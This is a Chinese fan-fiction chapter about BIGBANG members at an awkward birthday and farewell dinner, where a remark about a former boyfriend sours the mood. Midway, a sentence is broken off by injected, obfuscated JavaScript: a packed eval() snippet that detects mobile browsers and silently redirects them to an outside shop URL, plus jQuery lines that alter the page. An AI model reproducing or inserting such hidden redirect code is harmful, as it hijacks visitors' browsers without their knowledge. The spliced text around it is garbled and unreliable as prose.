傍晚七点整，权至龙站在套房门口凝视着那道熟悉的门板，不到四十八小时前才来过，此刻又要重新踏入。他踌躇了很久才按响门铃，指尖在按钮上停留的时间，比应有的长了半秒。
门应声而开，胜利灿烂得过分的笑脸出现：“哥！来得正好！快进来，就等你了！”
他侧身让开，强烈锅气的家常菜香扑面而来，浓郁、温暖，却陌生得刺鼻，心脏被这温差的错觉狠狠拧了一下。
套房里灯火通明，永裴和大声在帮着往外端菜，珍雅在摆放碗筷，TOP闲适地深陷在角落沙发里，厚重的艺术杂志快要遮住他半张脸。
开放式厨房里，那个身影正背对门口翻炒着锅里的菜。她身上崭新的围裙带子，在背后系成一个略显笨拙的蝴蝶结。额角和鼻尖微微出汗，几缕发丝黏在颊边。
听到动静，初星回过头来，灶火的热气将她脸颊熏得绯红，甚至能看到她颈间细微的血管跳动。看到他的瞬间，她眼神闪烁了一下，掠过一丝不自然，但消失得极快，几乎让人以为是错觉，随即，扬起一个笑容：“来了？稍等一下，最后一道菜马上好。”
权至龙点了一下头，喉咙干涩：“嗯，不急。”
“哥你快看！”胜利热情地拉他到餐桌前，“都是怒那亲手做的！真没想到怒那手艺这么好了！”
桌上的糖醋排骨泛着诱人的琥珀色光泽，麻婆豆腐上点缀着翠绿的葱花，水煮鱼在红油中若隐若现——几乎都是他偏好的菜式。
这认知让他感到一阵莫名眩晕，只能移开目光，用尽可能平淡的语气回应：“嗯，很厉害。”
top走近，目光掠过餐桌，最后落在那盘水煮鱼上：“看起来很有食欲。”
不知道是在说菜，还是在说这整个场面。
初星端着清炒时蔬走过来，放在空处，解下围裙。
“都是些随便做的家常菜，不知道合不合大家口味。”她说着，似有若无地觑了至龙一眼。
众人纷纷落座，动起筷子。永裴夹了块糖醋排骨，由衷赞赏：“哇…味道确实很正！初星，你还有这一手！”
大声也勺起麻婆豆腐送进嘴里，被烫得直吸气还含糊地附和：“嗯嗯！真心好吃！完全大发！以前还以为你只会煮拉面呢！”
初星闻言，扬起下巴，头也仰的高高的，满脸得意：“呀，欧巴！你别小看人了！人是会进步的好嘛？”
在气氛看似要升温时，胜利嘴里塞得鼓鼓囊囊，突然插话，打算用他惯有的方式‘锦上添花’：唔…好吃是好吃……但是！”
他费力咽下食物，食指晃了晃，“但是！比起怒那之前那个男朋友做的，还是差了那么一点点火候！就一点点！我记得那次……”
他的话还没说完，餐桌上欢快的气氛被立刻抽空一样，陡然凝滞。
永裴和大声的笑容浮在表面，下意识瞟向权至龙。珍雅拿着筷子的手也顿在半空。
TOP却抬起头看向初星，非常好奇地接了一句：
“真的吗？初星你可以再找他探讨一下厨艺，下次做给我们吃吗？”
胜利意识到自己捅了马蜂窝，张着嘴，眼神慌乱地左右乱瞟。
其他人的目光，或直接或隐蔽，都打在初星和至龙身上。
至龙抿了抿唇，垂着眼眸，眸色一点点变深，面无表情夹着眼前的菜，仿佛什么都没听到。
在一片沉默中，初星脸上的笑容也淡了下去，之后抬起眼，看着表情各异的众人，翘起一边嘴角，轻轻开口：
“嗯…好啊。下次我去中国的时候，可以找他探讨一下。他应该…会乐意的。”
这轻飘飘的一句话，却像一颗投入深潭的炸弹，在水底无声地爆开，冲击波震得每个人耳膜发痛。
永裴吓得菜都差点喷出来，干咳两声：“啊…这个鱼，真的很嫩啊…”大声也埋头苦吃：“嗯嗯嗯，好吃好吃…”胜利恨不得把整张脸都埋进碗里。 TOP 似乎后知后觉意识到自己可能点燃了引线，眨了眨眼，视线重新落回盘子里，决定被打死都不说话。
只有权至龙毫无反应，一口接一口吃着饭，隐在桌下的手却攥成拳。
晚餐在刻意维持的虚假热闹中推进。永裴和大声音量拔高，寻找着最安全无害的话题，从演唱会的琐碎趣事聊到最近上映的电影，胜利也变得乖巧，只专注猛吃，偶尔附和两句，绝不再轻易开启任何话题。
珍雅不时看向初星，但初星表现得很从容。她能自然接话，仿佛刚才那段对话从未发生过。只是她的眼睛像蒙上一层薄雾，眼底深处是一片看不透的湖面，映不出丝毫波澜。
而权至龙，始终是这场喧闹中一座沉默的孤岛。他吃得不多，大部分时间都压着眉眼，让人看不清他眼中的情绪。但当初星偶尔起身，或是端着水壶走近时，他的视线会极快掠过她移动的指尖或衣摆，随即又立刻收回。
终于，这顿漫长的晚餐接近尾声。菜肴被消灭了大半，空气中的尴尬，却丝毫没有随着食物的减少而消散。
初星放下筷子，擦了擦嘴角，抱臂笑了笑：“好啦，我吃得差不多了。明天一早的飞机，我和珍雅还得收拾一下行李。今天谢谢大家来给我和胜利过生日，也谢谢你们来送行。”
永裴站起来：“啊，对对，时间也不早了，你们明天还要赶飞机，是该早点休息。”大声也跟着站起来，抹了把汗：“是啊是啊，谢谢款待，真的很好吃！”胜利更是如蒙大赦：“我来帮忙收拾！”
“不用了，”初星微笑着阻止他，利落整理着碗筷，“就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013759|188757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几个盘子，很快的。你们聊你们的。”
她端着盘子走向厨房水槽，珍雅也跟过去帮忙。
两个女人在厨房区域忙碌，水流声哗哗响起。客厅这边，五个男人则陷入了更深的沉默。
永裴看了看至龙，拍着他的肩：“那……我们也走吧？”大声喉咙有些发干：“嗯，哥，走吧。”
top也站起身，目光扫过厨房，又移到至龙身上，没说话。
权至龙缓缓抬起头，视线越过众人，停在厨房里那个正低头洗刷的背影上，浅棕色的眼眸一点一点描绘着在光晕中显得单薄又疏离的侧脸。
他站起身，步履僵硬地走向门口。
“走。”
永裴和大声对视一眼，都从对方眼中看到了无奈，赶紧跟上。top慢悠悠地踱着步子，跟在后面。
胜利落在最后，扒着门框，探进头去：“怒那！珍雅怒那！那我们先走了啊！一路顺风！到了记得发信息！”
初星回过头，手上还沾着白色泡沫，露出明媚的笑容：“好，知道了。路上小心。”
权至龙的脚步在门口顿了一下，但他没有回头，甚至连侧首都没有，直接拉开门走了出去。
门在他身后合上，隔绝了房间内温暖的灯光、流动的水声、以及那些未尽的情绪。
走廊里，灯光冷白，五人走向电梯。
电梯门关上，狭小的空间里弥漫着无形的低气压。没有人说话，连呼吸都刻意放轻。数字一下下跳动，如同倒计时。
直到走出酒店大堂，夜晚微凉的空气带着湿意扑来，才让人重新找回呼吸的能力。
永裴终于忍不住，转向一直沉默不语的至龙：“至龙啊……”他想说点什么，安慰，或者仅仅是表达理解。
但权至龙猛地打断了他，语气平淡：“很晚了，都回去休息吧。明天还有工作。”
说完便径直走向自己停在一旁的车，拉开车门坐了进去。
引擎发动，车子很快汇入霓虹闪烁的车流，尾灯划出一道红色的光痕，迅速消失在城市的夜幕里。
四人站在路边，面面相觑，最终也只能化作几声无奈的叹息。
车内，权至龙握着方向盘，指节用力到泛白。他直视着前方不断延伸的道路，脸色在明明灭灭的路灯光影中交替，看不真切。
车窗外的夜景飞速倒退，而那句轻柔却清晰的 “他应该…会乐意的”像被设置成了单曲循环，带着冰冷的嘲讽，在他耳边不停回响、撞击。
他猛踩油门，跑车发出一声低吼，像头野兽疯狂向前冲去，仿佛要挣脱这令人窒息的现实，逃离这无处不在的、关于过去的幽灵。然而，无论车速多快，他都无法将那个声音，和那个灯光下单薄却倔强的背影，真正甩在身后。